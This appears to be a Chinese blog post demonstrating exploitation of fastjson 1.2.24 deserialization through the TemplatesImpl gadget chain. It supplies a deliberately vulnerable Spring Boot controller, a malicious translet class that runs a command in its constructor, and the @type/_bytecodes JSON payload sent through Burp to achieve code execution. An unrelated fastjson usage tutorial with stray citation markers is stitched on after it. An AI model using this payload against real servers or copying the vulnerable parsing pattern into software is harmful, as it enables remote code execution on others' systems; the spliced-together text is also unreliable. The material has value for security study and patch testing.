fastjson利用templatesImpl链

fastjson1.2.24
环境:
pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.11</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>Fastjson-test</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>Fastjson-test</name>
    <description>Fastjson-test</description>

    <properties>
        <java.version>1.8</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.8.1</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <encoding>UTF-8</encoding>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

FastjsonController.java:

package com.example.fastjsontest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class FastjsonController {
    @PostMapping( "/deserialize")
    @ResponseBody
    public String deserialize(@RequestParam String code) throws Exception{
//        JSON.parse(code);
        //fastjson1.2.47 TemplatesImpl利用
        JSON.parseObject(code,Object.class, Feature.SupportNonPublicField);
        return "deserialize";
    }
}

恶意类代码:
TemplatesImplEvil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplatesImplEvil extends AbstractTranslet {
    public TemplatesImplEvil() throws IOException {
        super();
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

build成TemplatesImplEvil.class
然后base64编码该类
在这里插入图片描述
然后burp输入

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAA......."],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

在这里插入图片描述
可以看的到成功弹出计算器

### FastJson 的使用方法与最佳实践 #### 解析 JSON 数据 FastJson 支持多种方式解析 JSON 字符串到 Java 对象。对于简单的 JSON 字符串,可以直接调用 `parseObject` 方法: ```java String jsonString = "{\"code\":0,\"msg\":\"查询用户信息\",\"user\":{\"id\":12,\"name\":\"Herrona\"},\"list\":[{\"id\":1,\"name\":\"yg\"},{\"id\":2,\"name\":\"yf\"}]}"; JSONObject jsonObject = JSONObject.parseObject(jsonString); int code = jsonObject.getIntValue("code"); String msg = jsonObject.getString("msg"); User user = jsonObject.getObject("user", User.class); // 需要提前定义好对应的类结构 List<User> list = jsonObject.getJSONArray("list").toJavaList(User.class); System.out.println(code + ", " + msg + ", " + user.getName() + ", " + list.get(0).getName()); ``` 上述代码展示了如何将复杂的嵌套 JSON 转换成相应的 Java 类型[^3]。 #### 生成 JSON 数据 当需要把 Java 对象转换成 JSON 格式时,可以利用 `.toJSONString()` 或者 `JSON.toJSONBytes()` 来完成这一操作: ```java public class Main { public static void main(String[] args) { Map<String, Object> map = new HashMap<>(); List<Map<String, String>> userList = Arrays.asList( Collections.singletonMap("name", "yg"), Collections.singletonMap("name", "yf") ); map.put("code", 0); map.put("msg", "查询用户信息"); map.put("user", Collections.singletonMap("name", "Herrona")); map.put("list", userList); System.out.println(JSON.toJSONString(map)); } } ``` 这段程序会输出如下格式化的 JSON 文本: ```json { "code": 0, "msg": "查询用户信息", "user": {"name": "Herrona"}, "list": [ {"name": "yg"}, {"name": "yf"} ] } ``` 此过程不仅限于简单类型,也适用于复杂对象及其集合形式的序列化[^1]。 #### 自定义序列化行为 为了满足特定需求下的序列化定制,比如调整日期时间格式或是处理特殊字段映射等问题,可以通过设置全局配置项或是在实体类上添加注解的方式来进行控制: ```java // 设置默认日期模式为 yyyy-MM-dd HH:mm:ss Config.configInstance().setDateFormat("yyyy-MM-dd HH:mm:ss"); // 定义带注解的 POJO 类 class Event { @JSONField(format="yyyyMMdd") private Date date; // getter and setter... } Event event = new Event(); event.setDate(new Date()); // 输出自定义格式的时间戳 System.out.println(JSONObject.toJSONString(event)); ``` 这里通过 `@JSONField` 注解指定了属性 `date` 在转为 JSON 时采用指定格式表示[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值